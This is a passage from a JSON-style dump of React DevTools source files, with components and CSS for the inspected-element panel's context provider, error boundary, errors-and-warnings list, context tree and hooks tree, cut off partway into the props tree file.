    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactContext} from 'shared/ReactTypes';\n\nimport * as React from 'react';\nimport {\n  createContext,\n  startTransition,\n  unstable_useCacheRefresh as useCacheRefresh,\n  useCallback,\n  useContext,\n  useEffect,\n  useMemo,\n  useRef,\n  useState,\n} from 'react';\nimport {TreeStateContext} from './TreeContext';\nimport {BridgeContext, StoreContext} from '../context';\nimport {\n  inspectElement,\n  startElementUpdatesPolling,\n} from 'react-devtools-shared/src/inspectedElementCache';\nimport {\n  clearHookNamesCache,\n  hasAlreadyLoadedHookNames,\n  loadHookNames,\n} from 'react-devtools-shared/src/hookNamesCache';\nimport {loadModule} from 'react-devtools-shared/src/dynamicImportCache';\nimport FetchFileWithCachingContext from 'react-devtools-shared/src/devtools/views/Components/FetchFileWithCachingContext';\nimport HookNamesModuleLoaderContext from 'react-devtools-shared/src/devtools/views/Components/HookNamesModuleLoaderContext';\nimport {SettingsContext} from '../Settings/SettingsContext';\n\nimport type {HookNames} from 'react-devtools-shared/src/frontend/types';\nimport type {ReactNodeList} from 'shared/ReactTypes';\nimport type {\n  Element,\n  InspectedElement,\n} from 'react-devtools-shared/src/frontend/types';\n\ntype Path = Array<string | number>;\ntype InspectPathFunction = (path: Path) => void;\nexport type ToggleParseHookNames = () => void;\n\ntype Context = {\n  hookNames: HookNames | null,\n  inspectedElement: InspectedElement | null,\n  inspectPaths: InspectPathFunction,\n  parseHookNames: boolean,\n  toggleParseHookNames: ToggleParseHookNames,\n};\n\nexport const InspectedElementContext: ReactContext<Context> =\n  createContext<Context>(((null: any): Context));\n\nexport type Props = {\n  children: ReactNodeList,\n};\n\nexport function InspectedElementContextController({\n  children,\n}: Props): React.Node {\n  const {inspectedElementID} = useContext(TreeStateContext);\n  const fetchFileWithCaching = useContext(FetchFileWithCachingContext);\n  const bridge = useContext(BridgeContext);\n  const store = useContext(StoreContext);\n  const {parseHookNames: parseHookNamesByDefault} = useContext(SettingsContext);\n\n  // parseHookNames has a lot of code.\n  // Embedding it into a build makes the build large.\n  // This function enables DevTools to make use of Suspense to lazily import() it only if the feature will be used.\n  // TODO (Webpack 5) Hopefully we can remove this indirection once the Webpack 5 upgrade is completed.\n  const hookNamesModuleLoader = useContext(HookNamesModuleLoaderContext);\n\n  const refresh = useCacheRefresh();\n\n  // Temporarily stores most recently-inspected (hydrated) path.\n  // The transition that updates this causes the component to re-render and ask the cache->backend for the new path.\n  // When a path is sent along with an \"inspectElement\" request,\n  // the backend knows to send its dehydrated data even if the element hasn't updated since the last request.\n  const [state, setState] = useState<{\n    element: Element | null,\n    path: Array<number | string> | null,\n  }>({\n    element: null,\n    path: null,\n  });\n\n  const element =\n    inspectedElementID !== null\n      ? store.getElementByID(inspectedElementID)\n      : null;\n\n  const alreadyLoadedHookNames =\n    element != null && hasAlreadyLoadedHookNames(element);\n\n  // Parse the currently inspected element's hook names.\n  // This may be enabled by default (for all elements)\n  // or it may be opted into on a per-element basis (if it's too slow to be on by default).\n  const [parseHookNames, setParseHookNames] = useState<boolean>(\n    parseHookNamesByDefault || alreadyLoadedHookNames,\n  );\n\n  const [bridgeIsAlive, setBridgeIsAliveStatus] = useState<boolean>(true);\n\n  const elementHasChanged = element !== null && element !== state.element;\n\n  // Reset the cached inspected paths when a new element is selected.\n  if (elementHasChanged) {\n    setState({\n      element,\n      path: null,\n    });\n\n    setParseHookNames(parseHookNamesByDefault || alreadyLoadedHookNames);\n  }\n\n  const purgeCachedMetadataRef = useRef(null);\n\n  // Don't load a stale element from the backend; it wastes bridge bandwidth.\n  let hookNames: HookNames | null = null;\n  let inspectedElement = null;\n  if (!elementHasChanged && element !== null) {\n    inspectedElement = inspectElement(element, state.path, store, bridge);\n\n    if (typeof hookNamesModuleLoader === 'function') {\n      if (parseHookNames || alreadyLoadedHookNames) {\n        const hookNamesModule = loadModule(hookNamesModuleLoader);\n        if (hookNamesModule !== null) {\n          const {parseHookNames: loadHookNamesFunction, purgeCachedMetadata} =\n            hookNamesModule;\n\n          purgeCachedMetadataRef.current = purgeCachedMetadata;\n\n          if (\n            inspectedElement !== null &&\n            inspectedElement.hooks !== null &&\n            loadHookNamesFunction !== null\n          ) {\n            hookNames = loadHookNames(\n              element,\n              inspectedElement.hooks,\n              loadHookNamesFunction,\n              fetchFileWithCaching,\n            );\n          }\n        }\n      }\n    }\n  }\n\n  const toggleParseHookNames: ToggleParseHookNames =\n    useCallback<ToggleParseHookNames>(() => {\n      startTransition(() => {\n        setParseHookNames(value => !value);\n        refresh();\n      });\n    }, [setParseHookNames]);\n\n  const inspectPaths: InspectPathFunction = useCallback<InspectPathFunction>(\n    (path: Path) => {\n      startTransition(() => {\n        setState({\n          element: state.element,\n          path,\n        });\n        refresh();\n      });\n    },\n    [setState, state],\n  );\n\n  useEffect(() => {\n    const purgeCachedMetadata = purgeCachedMetadataRef.current;\n    if (typeof purgeCachedMetadata === 'function') {\n      // When Fast Refresh updates a component, any cached AST metadata may be invalid.\n      const fastRefreshScheduled = () => {\n        startTransition(() => {\n          clearHookNamesCache();\n          purgeCachedMetadata();\n          refresh();\n        });\n      };\n      bridge.addListener('fastRefreshScheduled', fastRefreshScheduled);\n      return () =>\n        bridge.removeListener('fastRefreshScheduled', fastRefreshScheduled);\n    }\n  }, [bridge]);\n\n  // Reset path now that we've asked the backend to hydrate it.\n  // The backend is stateful, so we don't need to remember this path the next time we inspect.\n  useEffect(() => {\n    if (state.path !== null) {\n      setState({\n        element: state.element,\n        path: null,\n      });\n    }\n  }, [state]);\n\n  useEffect(() => {\n    // Assuming that new bridge is always alive at this moment\n    setBridgeIsAliveStatus(true);\n\n    const listener = () => setBridgeIsAliveStatus(false);\n    bridge.addListener('shutdown', listener);\n\n    return () => bridge.removeListener('shutdown', listener);\n  }, [bridge]);\n\n  // Periodically poll the selected element for updates.\n  useEffect(() => {\n    if (element !== null && bridgeIsAlive) {\n      const {abort, pause, resume} = startElementUpdatesPolling({\n        bridge,\n        element,\n        refresh,\n        store,\n      });\n\n      bridge.addListener('resumeElementPolling', resume);\n      bridge.addListener('pauseElementPolling', pause);\n\n      return () => {\n        bridge.removeListener('resumeElementPolling', resume);\n        bridge.removeListener('pauseElementPolling', pause);\n\n        abort();\n      };\n    }\n  }, [\n    element,\n    hookNames,\n    // Reset this timer any time the element we're inspecting gets a new response.\n    // No sense to ping right away after e.g. inspecting/hydrating a path.\n    inspectedElement,\n    state,\n    bridgeIsAlive,\n  ]);\n\n  const value = useMemo<Context>(\n    () => ({\n      hookNames,\n      inspectedElement,\n      inspectPaths,\n      parseHookNames,\n      toggleParseHookNames,\n    }),\n    [\n      hookNames,\n      inspectedElement,\n      inspectPaths,\n      parseHookNames,\n      toggleParseHookNames,\n    ],\n  );\n\n  return (\n    <InspectedElementContext.Provider value={value}>\n      {children}\n    </InspectedElementContext.Provider>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/InspectedElementContextTree.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {copy} from 'clipboard-js';\nimport * as React from 'react';\nimport Button from '../Button';\nimport ButtonIcon from '../ButtonIcon';\nimport KeyValue from './KeyValue';\nimport {alphaSortEntries, serializeDataForCopy} from '../utils';\nimport Store from '../../store';\nimport styles from './InspectedElementSharedStyles.css';\nimport {\n  ElementTypeClass,\n  ElementTypeFunction,\n} from 'react-devtools-shared/src/frontend/types';\nimport {withPermissionsCheck} from 'react-devtools-shared/src/frontend/utils/withPermissionsCheck';\n\nimport type {InspectedElement} from 'react-devtools-shared/src/frontend/types';\nimport type {FrontendBridge} from 'react-devtools-shared/src/bridge';\nimport type {Element} from 'react-devtools-shared/src/frontend/types';\n\ntype Props = {\n  bridge: FrontendBridge,\n  element: Element,\n  inspectedElement: InspectedElement,\n  store: Store,\n};\n\nexport default function InspectedElementContextTree({\n  bridge,\n  element,\n  inspectedElement,\n  store,\n}: Props): React.Node {\n  const {hasLegacyContext, context, type} = inspectedElement;\n\n  const isReadOnly = type !== ElementTypeClass && type !== ElementTypeFunction;\n\n  if (context == null) {\n    return null;\n  }\n\n  const entries = Object.entries(context);\n  entries.sort(alphaSortEntries);\n  const isEmpty = entries.length === 0;\n\n  const handleCopy = withPermissionsCheck(\n    {permissions: ['clipboardWrite']},\n    () => copy(serializeDataForCopy(context)),\n  );\n\n  // We add an object with a \"value\" key as a wrapper around Context data\n  // so that we can use the shared <KeyValue> component to display it.\n  // This wrapper object can't be renamed.\n  // $FlowFixMe[missing-local-annot]\n  const canRenamePathsAtDepth = depth => depth > 1;\n\n  if (isEmpty) {\n    return null;\n  } else {\n    return (\n      <div>\n        <div className={styles.HeaderRow}>\n          <div className={styles.Header}>\n            {hasLegacyContext ? 'legacy context' : 'context'}\n          </div>\n          {!isEmpty && (\n            <Button onClick={handleCopy} title=\"Copy to clipboard\">\n              <ButtonIcon type=\"copy\" />\n            </Button>\n          )}\n        </div>\n        {isEmpty && <div className={styles.Empty}>None</div>}\n        {!isEmpty &&\n          (entries: any).map(([name, value]) => (\n            <KeyValue\n              key={name}\n              alphaSort={true}\n              bridge={bridge}\n              canDeletePaths={!isReadOnly}\n              canEditValues={!isReadOnly}\n              canRenamePaths={!isReadOnly}\n              canRenamePathsAtDepth={canRenamePathsAtDepth}\n              depth={1}\n              element={element}\n              hidden={false}\n              inspectedElement={inspectedElement}\n              name={name}\n              path={[name]}\n              pathRoot=\"context\"\n              store={store}\n              type=\"context\"\n              value={value}\n            />\n          ))}\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/InspectedElementErrorBoundary.css",
    "content": ".Wrapper {\n  height: 100%;\n}"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/InspectedElementErrorBoundary.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {\n  useCallback,\n  useContext,\n  unstable_useCacheRefresh as useCacheRefresh,\n} from 'react';\nimport ErrorBoundary from '../ErrorBoundary';\nimport {TreeStateContext} from './TreeContext';\nimport {clearCacheBecauseOfError} from '../../../inspectedElementCache';\nimport styles from './InspectedElementErrorBoundary.css';\n\ntype WrapperProps = {\n  children: React$Node,\n};\n\nexport default function InspectedElementErrorBoundaryWrapper({\n  children,\n}: WrapperProps): React.Node {\n  // Key on the selected element ID so that changing the selected element automatically hides the boundary.\n  // This seems best since an error inspecting one element isn't likely to be relevant to another element.\n  const {inspectedElementID} = useContext(TreeStateContext);\n\n  const refresh = useCacheRefresh();\n  const handleDsmiss = useCallback(() => {\n    clearCacheBecauseOfError(refresh);\n  }, [refresh]);\n\n  return (\n    <div className={styles.Wrapper}>\n      <ErrorBoundary\n        key={inspectedElementID}\n        canDismiss={true}\n        onBeforeDismissCallback={handleDsmiss}>\n        {children}\n      </ErrorBoundary>\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/InspectedElementErrorsAndWarningsTree.css",
    "content": ".ErrorTree, .WarningTree {\n  padding: 0.25rem 0 0 0;\n}\n\n.HeaderRow {\n  padding: 0 0.25rem;\n}\n\n.HeaderRow {\n  padding: 0 0.25rem;\n}\n\n.Error, .Warning {\n  padding: 0 0.5rem;\n  display: flex;\n  align-items: center;\n}\n\n.Error {\n  border-top: 1px solid var(--color-console-error-border);\n  background-color: var(--color-console-error-background);\n  color: var(--color-error-text);\n  padding: 0 0.5rem;\n}\n\n.Warning {\n  border-top: 1px solid var(--color-console-warning-border);\n  background-color: var(--color-console-warning-background);\n  color: var(--color-warning-text);\n  padding: 0 0.5rem;\n}\n\n.Message {\n  overflow-x: hidden;\n  text-overflow: ellipsis;\n  white-space: nowrap;\n}\n\n.ErrorBadge,\n.WarningBadge {\n  display: inline-block;\n  width: 0.75rem;\n  height: 0.75rem;\n  flex: 0 0 0.75rem;\n  line-height: 0.75rem;\n  text-align: center;\n  border-radius: 0.25rem;\n  margin-right: 0.25rem;\n  font-size: var(--font-size-monospace-small);\n}\n\n.ErrorBadge {\n  background-color: var(--color-console-error-icon);\n  color: var(--color-console-error-badge-text);\n}\n\n.WarningBadge {\n  background-color: var(--color-console-warning-icon);\n  color: var(--color-console-warning-badge-text);\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/InspectedElementErrorsAndWarningsTree.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {\n  unstable_useCacheRefresh as useCacheRefresh,\n  useTransition,\n} from 'react';\nimport Button from '../Button';\nimport ButtonIcon from '../ButtonIcon';\nimport Store from '../../store';\nimport sharedStyles from './InspectedElementSharedStyles.css';\nimport styles from './InspectedElementErrorsAndWarningsTree.css';\nimport {\n  clearErrorsForElement as clearErrorsForElementAPI,\n  clearWarningsForElement as clearWarningsForElementAPI,\n} from 'react-devtools-shared/src/backendAPI';\n\nimport type {InspectedElement} from 'react-devtools-shared/src/frontend/types';\nimport type {FrontendBridge} from 'react-devtools-shared/src/bridge';\n\ntype Props = {\n  bridge: FrontendBridge,\n  inspectedElement: InspectedElement,\n  store: Store,\n};\n\nexport default function InspectedElementErrorsAndWarningsTree({\n  bridge,\n  inspectedElement,\n  store,\n}: Props): React.Node {\n  const refresh = useCacheRefresh();\n\n  const [isErrorsTransitionPending, startClearErrorsTransition] =\n    useTransition();\n  const clearErrorsForInspectedElement = () => {\n    const {id} = inspectedElement;\n    const rendererID = store.getRendererIDForElement(id);\n    if (rendererID !== null) {\n      startClearErrorsTransition(() => {\n        clearErrorsForElementAPI({\n          bridge,\n          id,\n          rendererID,\n        });\n        refresh();\n      });\n    }\n  };\n\n  const [isWarningsTransitionPending, startClearWarningsTransition] =\n    useTransition();\n  const clearWarningsForInspectedElement = () => {\n    const {id} = inspectedElement;\n    const rendererID = store.getRendererIDForElement(id);\n    if (rendererID !== null) {\n      startClearWarningsTransition(() => {\n        clearWarningsForElementAPI({\n          bridge,\n          id,\n          rendererID,\n        });\n        refresh();\n      });\n    }\n  };\n\n  if (!store.displayingErrorsAndWarningsEnabled) {\n    return null;\n  }\n\n  const {errors, warnings} = inspectedElement;\n  if (errors.length === 0 && warnings.length === 0) {\n    return null;\n  }\n\n  return (\n    <React.Fragment>\n      {errors.length > 0 && (\n        <Tree\n          badgeClassName={styles.ErrorBadge}\n          bridge={bridge}\n          className={styles.ErrorTree}\n          clearMessages={clearErrorsForInspectedElement}\n          entries={errors}\n          isTransitionPending={isErrorsTransitionPending}\n          label=\"errors\"\n          messageClassName={styles.Error}\n        />\n      )}\n      {warnings.length > 0 && (\n        <Tree\n          badgeClassName={styles.WarningBadge}\n          bridge={bridge}\n          className={styles.WarningTree}\n          clearMessages={clearWarningsForInspectedElement}\n          entries={warnings}\n          isTransitionPending={isWarningsTransitionPending}\n          label=\"warnings\"\n          messageClassName={styles.Warning}\n        />\n      )}\n    </React.Fragment>\n  );\n}\n\ntype TreeProps = {\n  badgeClassName: string,\n  actions: React$Node,\n  className: string,\n  clearMessages: () => void,\n  entries: Array<[string, number]>,\n  isTransitionPending: boolean,\n  label: string,\n  messageClassName: string,\n};\n\nfunction Tree({\n  badgeClassName,\n  actions,\n  className,\n  clearMessages,\n  entries,\n  isTransitionPending,\n  label,\n  messageClassName,\n}: TreeProps) {\n  if (entries.length === 0) {\n    return null;\n  }\n  return (\n    <div className={className}>\n      <div className={`${sharedStyles.HeaderRow} ${styles.HeaderRow}`}>\n        <div className={sharedStyles.Header}>{label}</div>\n        <Button\n          disabled={isTransitionPending}\n          onClick={clearMessages}\n          title={`Clear all ${label} for this component`}>\n          <ButtonIcon type=\"clear\" />\n        </Button>\n      </div>\n      {entries.map(([message, count], index) => (\n        <ErrorOrWarningView\n          key={`${label}-${index}`}\n          badgeClassName={badgeClassName}\n          className={messageClassName}\n          count={count}\n          message={message}\n        />\n      ))}\n    </div>\n  );\n}\n\ntype ErrorOrWarningViewProps = {\n  badgeClassName: string,\n  className: string,\n  count: number,\n  message: string,\n};\n\nfunction ErrorOrWarningView({\n  className,\n  badgeClassName,\n  count,\n  message,\n}: ErrorOrWarningViewProps) {\n  return (\n    <div className={className}>\n      {count > 1 && <div className={badgeClassName}>{count}</div>}\n      <div className={styles.Message} title={message}>\n        {message}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/InspectedElementHooksTree.css",
    "content": ".Hook {\n}\n\n.Children {\n  padding-left: 1rem;\n}\n\n.HeaderRow {\n  display: flex;\n  align-items: center;\n}\n\n.Header {\n  flex: 1 1;\n  font-family: var(--font-family-sans);\n}\n\n.NameValueRow {\n  display: flex;\n}\n\n.Name,\n.NameAnonymous {\n  flex: 0 0 auto;\n  cursor: default;\n}\n.Name {\n  color: var(--color-dim);\n}\n.NameAnonymous {\n  color: var(--color-dimmer);\n}\n\n.EditableName {\n  color: var(--color-attribute-name);\n  flex: 0 0 auto;\n  cursor: default;\n}\n.EditableName:after,\n.Name:after {\n  color: var(--color-text);\n  content: ': ';\n  margin-right: 0.5rem;\n}\n\n.Value {\n  color: var(--color-attribute-value);\n  overflow: hidden;\n  text-overflow: ellipsis;\n  cursor: default;\n  white-space: nowrap;\n}\n\n.None {\n  color: var(--color-dimmer);\n  font-style: italic;\n}\n\n.TruncationIndicator {\n  color: var(--color-dimmer);\n}\n\n.ExpandCollapseToggleSpacer {\n  flex: 0 0 1rem;\n  width: 1rem;\n}\n\n.PrimitiveHookNumber {\n  background-color: var(--color-primitive-hook-badge-background);\n  color: var(--color-primitive-hook-badge-text);\n  font-size: var(--font-size-monospace-small);\n  margin-right: 0.25rem;\n  border-radius: 0.125rem;\n  padding: 0.125rem 0.25rem;\n}\n\n.HookName {\n  color: var(--color-component-name);\n}\n\n.ToggleError {\n  color: var(--color-error-text);\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/InspectedElementHooksTree.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {copy} from 'clipboard-js';\nimport * as React from 'react';\nimport {useCallback, useContext, useState} from 'react';\nimport {BridgeContext, StoreContext} from '../context';\nimport Button from '../Button';\nimport ButtonIcon from '../ButtonIcon';\nimport Toggle from '../Toggle';\nimport ExpandCollapseToggle from './ExpandCollapseToggle';\nimport KeyValue from './KeyValue';\nimport {getMetaValueLabel, serializeHooksForCopy} from '../utils';\nimport Store from '../../store';\nimport styles from './InspectedElementHooksTree.css';\nimport {meta} from '../../../hydration';\nimport {getHookSourceLocationKey} from 'react-devtools-shared/src/hookSourceLocation';\nimport HookNamesModuleLoaderContext from 'react-devtools-shared/src/devtools/views/Components/HookNamesModuleLoaderContext';\nimport isArray from 'react-devtools-shared/src/isArray';\n\nimport type {InspectedElement} from 'react-devtools-shared/src/frontend/types';\nimport type {HooksNode, HooksTree} from 'react-debug-tools/src/ReactDebugHooks';\nimport type {FrontendBridge} from 'react-devtools-shared/src/bridge';\nimport type {HookNames} from 'react-devtools-shared/src/frontend/types';\nimport type {Element} from 'react-devtools-shared/src/frontend/types';\nimport type {ToggleParseHookNames} from './InspectedElementContext';\n\ntype HooksTreeViewProps = {\n  bridge: FrontendBridge,\n  element: Element,\n  hookNames: HookNames | null,\n  inspectedElement: InspectedElement,\n  parseHookNames: boolean,\n  store: Store,\n  toggleParseHookNames: ToggleParseHookNames,\n};\n\nexport function InspectedElementHooksTree({\n  bridge,\n  element,\n  hookNames,\n  inspectedElement,\n  parseHookNames,\n  store,\n  toggleParseHookNames,\n}: HooksTreeViewProps): React.Node {\n  const {hooks, id} = inspectedElement;\n\n  // Changing parseHookNames is done in a transition, because it suspends.\n  // This value is done outside of the transition, so the UI toggle feels responsive.\n  const [parseHookNamesOptimistic, setParseHookNamesOptimistic] =\n    useState(parseHookNames);\n  const handleChange = () => {\n    setParseHookNamesOptimistic(!parseHookNames);\n    toggleParseHookNames();\n  };\n\n  const hookNamesModuleLoader = useContext(HookNamesModuleLoaderContext);\n\n  const hookParsingFailed = parseHookNames && hookNames === null;\n\n  let toggleTitle;\n  if (hookParsingFailed) {\n    toggleTitle = 'Hook parsing failed';\n  } else if (parseHookNames) {\n    toggleTitle = 'Parsing hook names ...';\n  } else {\n    toggleTitle = 'Parse hook names (may be slow)';\n  }\n\n  const handleCopy = () => copy(serializeHooksForCopy(hooks));\n\n  if (hooks === null) {\n    return null;\n  } else {\n    return (\n      <div data-testname=\"InspectedElementHooksTree\">\n        <div className={styles.HeaderRow}>\n          <div className={styles.Header}>hooks</div>\n          {typeof hookNamesModuleLoader === 'function' &&\n            (!parseHookNames || hookParsingFailed) && (\n              <Toggle\n                className={hookParsingFailed ? styles.ToggleError : null}\n                isChecked={parseHookNamesOptimistic}\n                isDisabled={parseHookNamesOptimistic || hookParsingFailed}\n                onChange={handleChange}\n                testName=\"LoadHookNamesButton\"\n                title={toggleTitle}>\n                <ButtonIcon type=\"parse-hook-names\" />\n              </Toggle>\n            )}\n          <Button onClick={handleCopy} title=\"Copy to clipboard\">\n            <ButtonIcon type=\"copy\" />\n          </Button>\n        </div>\n        <InnerHooksTreeView\n          hookNames={hookNames}\n          hooks={hooks}\n          id={id}\n          element={element}\n          inspectedElement={inspectedElement}\n          path={[]}\n        />\n      </div>\n    );\n  }\n}\n\ntype InnerHooksTreeViewProps = {\n  element: Element,\n  hookNames: HookNames | null,\n  hooks: HooksTree,\n  id: number,\n  inspectedElement: InspectedElement,\n  path: Array<string | number>,\n};\n\nexport function InnerHooksTreeView({\n  element,\n  hookNames,\n  hooks,\n  id,\n  inspectedElement,\n  path,\n}: InnerHooksTreeViewProps): React.Node {\n  return hooks.map((hook, index) => (\n    <HookView\n      key={index}\n      element={element}\n      hook={hooks[index]}\n      hookNames={hookNames}\n      id={id}\n      inspectedElement={inspectedElement}\n      path={path.concat([index])}\n    />\n  ));\n}\n\ntype HookViewProps = {\n  element: Element,\n  hook: HooksNode,\n  hookNames: HookNames | null,\n  id: number,\n  inspectedElement: InspectedElement,\n  path: Array<string | number>,\n};\n\nfunction HookView({\n  element,\n  hook,\n  hookNames,\n  id,\n  inspectedElement,\n  path,\n}: HookViewProps) {\n  const {canEditHooks, canEditHooksAndDeletePaths, canEditHooksAndRenamePaths} =\n    inspectedElement;\n  const {id: hookID, isStateEditable, subHooks, value} = hook;\n\n  const isReadOnly = hookID == null || !isStateEditable;\n\n  const canDeletePaths = !isReadOnly && canEditHooksAndDeletePaths;\n  const canEditValues = !isReadOnly && canEditHooks;\n  const canRenamePaths = !isReadOnly && canEditHooksAndRenamePaths;\n\n  const bridge = useContext(BridgeContext);\n  const store = useContext(StoreContext);\n\n  const [isOpen, setIsOpen] = useState<boolean>(false);\n\n  const toggleIsOpen = useCallback(\n    () => setIsOpen(prevIsOpen => !prevIsOpen),\n    [],\n  );\n\n  if (hook.hasOwnProperty(meta.inspected)) {\n    // This Hook is too deep and hasn't been hydrated.\n    if (__DEV__) {\n      console.warn('Unexpected dehydrated hook; this is a DevTools error.');\n    }\n    return (\n      <div className={styles.Hook}>\n        <div className={styles.NameValueRow}>\n          <span className={styles.TruncationIndicator}>...</span>\n        </div>\n      </div>\n    );\n  }\n\n  // Certain hooks are not editable at all (as identified by react-debug-tools).\n  // Primitive hook names (e.g. the \"State\" name for useState) are also never editable.\n  // $FlowFixMe[missing-local-annot]\n  const canRenamePathsAtDepth = depth => isStateEditable && depth > 1;\n\n  const isCustomHook = subHooks.length > 0;\n\n  let name = hook.name;\n  if (hookID !== null) {\n    name = (\n      <>\n        <span className={styles.PrimitiveHookNumber}>{hookID + 1}</span>\n        {name}\n      </>\n    );\n  }\n\n  const type = typeof value;\n\n  let displayValue;\n  let isComplexDisplayValue = false;\n\n  const hookSource = hook.hookSource;\n  const hookName =\n    hookNames != null && hookSource != null\n      ? hookNames.get(getHookSourceLocationKey(hookSource))\n      : null;\n  const hookDisplayName = hookName ? (\n    <>\n      {name}\n      {\n        // $FlowFixMe[constant-condition]\n        !!hookName && <span className={styles.HookName}>({hookName})</span>\n      }\n    </>\n  ) : (\n    name\n  );\n\n  // Format data for display to mimic the props/state/context for now.\n  if (type === 'string') {\n    displayValue = `\"${((value: any): string)}\"`;\n  } else if (type === 'boolean') {\n    displayValue = value ? 'true' : 'false';\n  } else if (type === 'number') {\n    displayValue = value;\n  } else if (value === null) {\n    displayValue = 'null';\n  } else if (value === undefined) {\n    displayValue = null;\n  } else if (isArray(value)) {\n    isComplexDisplayValue = true;\n    displayValue = 'Array';\n  } else if (type === 'object') {\n    isComplexDisplayValue = true;\n    displayValue = 'Object';\n  }\n\n  if (isCustomHook) {\n    const subHooksView = isArray(subHooks) ? (\n      <InnerHooksTreeView\n        element={element}\n        hooks={subHooks}\n        hookNames={hookNames}\n        id={id}\n        inspectedElement={inspectedElement}\n        path={path.concat(['subHooks'])}\n      />\n    ) : (\n      <KeyValue\n        alphaSort={false}\n        bridge={bridge}\n        canDeletePaths={canDeletePaths}\n        canEditValues={canEditValues}\n        canRenamePaths={canRenamePaths}\n        canRenamePathsAtDepth={canRenamePathsAtDepth}\n        depth={1}\n        element={element}\n        hookID={hookID}\n        hookName={hookName}\n        inspectedElement={inspectedElement}\n        name=\"subHooks\"\n        path={path.concat(['subHooks'])}\n        store={store}\n        type=\"hooks\"\n        value={subHooks}\n      />\n    );\n\n    if (isComplexDisplayValue) {\n      return (\n        <div className={styles.Hook}>\n          <div className={styles.NameValueRow}>\n            <ExpandCollapseToggle isOpen={isOpen} setIsOpen={setIsOpen} />\n            <span\n              onClick={toggleIsOpen}\n              className={name !== '' ? styles.Name : styles.NameAnonymous}>\n              {hookDisplayName || 'Anonymous'}\n            </span>\n            <span className={styles.Value} onClick={toggleIsOpen}>\n              {isOpen || getMetaValueLabel(value)}\n            </span>\n          </div>\n          <div className={styles.Children} hidden={!isOpen}>\n            <KeyValue\n              alphaSort={false}\n              bridge={bridge}\n              canDeletePaths={canDeletePaths}\n              canEditValues={canEditValues}\n              canRenamePaths={canRenamePaths}\n              canRenamePathsAtDepth={canRenamePathsAtDepth}\n              depth={1}\n              element={element}\n              hookID={hookID}\n              hookName={hookName}\n              inspectedElement={inspectedElement}\n              name=\"DebugValue\"\n              path={path.concat(['value'])}\n              pathRoot=\"hooks\"\n              store={store}\n              value={value}\n            />\n            {subHooksView}\n          </div>\n        </div>\n      );\n    } else {\n      return (\n        <div className={styles.Hook}>\n          <div className={styles.NameValueRow}>\n            <ExpandCollapseToggle isOpen={isOpen} setIsOpen={setIsOpen} />\n            <span\n              onClick={toggleIsOpen}\n              className={name !== '' ? styles.Name : styles.NameAnonymous}>\n              {hookDisplayName || 'Anonymous'}\n            </span>{' '}\n            <span className={styles.Value} onClick={toggleIsOpen}>\n              {displayValue}\n            </span>\n          </div>\n          <div className={styles.Children} hidden={!isOpen}>\n            {subHooksView}\n          </div>\n        </div>\n      );\n    }\n  } else {\n    if (isComplexDisplayValue) {\n      return (\n        <div className={styles.Hook}>\n          <KeyValue\n            alphaSort={false}\n            bridge={bridge}\n            canDeletePaths={canDeletePaths}\n            canEditValues={canEditValues}\n            canRenamePaths={canRenamePaths}\n            canRenamePathsAtDepth={canRenamePathsAtDepth}\n            depth={1}\n            element={element}\n            hookID={hookID}\n            hookName={hookName}\n            inspectedElement={inspectedElement}\n            name={name}\n            path={path.concat(['value'])}\n            pathRoot=\"hooks\"\n            store={store}\n            value={value}\n          />\n        </div>\n      );\n    } else {\n      return (\n        <div className={styles.Hook}>\n          <KeyValue\n            alphaSort={false}\n            bridge={bridge}\n            canDeletePaths={false}\n            canEditValues={canEditValues}\n            canRenamePaths={false}\n            depth={1}\n            element={element}\n            hookID={hookID}\n            hookName={hookName}\n            inspectedElement={inspectedElement}\n            name={name}\n            path={path.concat(['value'])}\n            pathRoot=\"hooks\"\n            store={store}\n            value={value}\n          />\n        </div>\n      );\n    }\n  }\n}\n\nexport default (React.memo(InspectedElementHooksTree): component(\n  ...props: HookViewProps\n));\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/InspectedElementPropsTree.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {copy} from 'clipboard-js';\nimport * as React from 'react';\nimport {OptionsContext} from '../context';\nimport Button from '../Button';\nimport ButtonIcon from '../ButtonIcon';\nimport KeyValue from './KeyValue';\nimport NewKeyValue from './NewKeyValue';\nimport {alphaSortEntries, serializeDataForCopy} from '../utils';\nimport Store from '../../store';\nimport styles from './InspectedElementSharedStyles.css';\nimport {\n  ElementTypeClass,\n  ElementTypeSuspense,\n  ElementTypeActivity,\n} from 'react-devtools-shared/src/frontend/types';\nimport {withPermissionsCheck} from 'react-devtools-shared/src/frontend/utils/withPermissionsCheck';\n\nimport type {InspectedElement} from 'react-devtools-shared/src/frontend/types';\nimport type {FrontendBridge} from 'react-devtools-shared/src/bridge';\nimport type {Element} from 'react-devtools-shared/src/frontend/types';\n\ntype Props = {\n  bridge: FrontendBridge,\n  element: Element,\n  